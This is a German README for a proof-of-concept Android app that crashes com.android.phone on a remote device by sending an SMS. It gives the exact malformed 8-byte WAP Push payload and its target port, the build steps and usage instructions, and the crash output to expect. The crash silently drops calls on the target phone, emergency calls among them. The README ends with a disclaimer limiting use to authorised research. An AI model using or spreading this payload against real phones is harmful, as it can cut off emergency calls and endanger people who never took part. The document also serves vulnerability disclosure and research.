
Android-PoC-App, die eine fehlerhafte 8-Byte-WAP-Push-PDU per SMS versendet, um com.android.phone aus der Ferne zum Absturz zu bringen und Anrufe auf dem Zielgerät stillschweigend zu unterbrechen.
Proof-of-Concept-Android-App, die eine manipulierte 8-Byte-WAP-Push-PDU per SMS an ein
Zielgerät sendet. Die fehlerhafte PDU löst eine NegativeArraySizeException in
WapPushOverSms.decodeWapPdu aus, die in InboundSmsHandler nicht abgefangen wird und
com.android.phone auf dem empfangenden Gerät beendet — dadurch wird jeder aktive Anruf
getrennt, einschließlich Notrufen, ohne jegliche Interaktion des Opfers.
Vollständige Analyse: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
Ausgabe: app/build/outputs/apk/debug/app-debug.apk
Erfordert ein Android SDK. Erstelle local.properties mit deinem SDK-Pfad (Android Studio
erledigt dies automatisch):
sdk.dir=/path/to/Android/sdk
Auf einem Sendegerät installieren, die Zielnummer eingeben (oder aus einer aktiven SIM automatisch ausfüllen), die sendende SIM auswählen und auf SEND CRASH SMS tippen. Auf dem Zielgerät beobachten:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Erwartet: FATAL EXCEPTION in com.android.phone innerhalb von ~1–2s und ein PID-Wechsel
für diesen Prozess, mit einem kurzen Signalverlust.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Für autorisierte Sicherheitsforschung und Tests auf Geräten, die dir gehören oder für die du eine ausdrückliche Genehmigung zum Testen hast. Nicht gegen Systeme oder Personen ohne Einwilligung verwenden.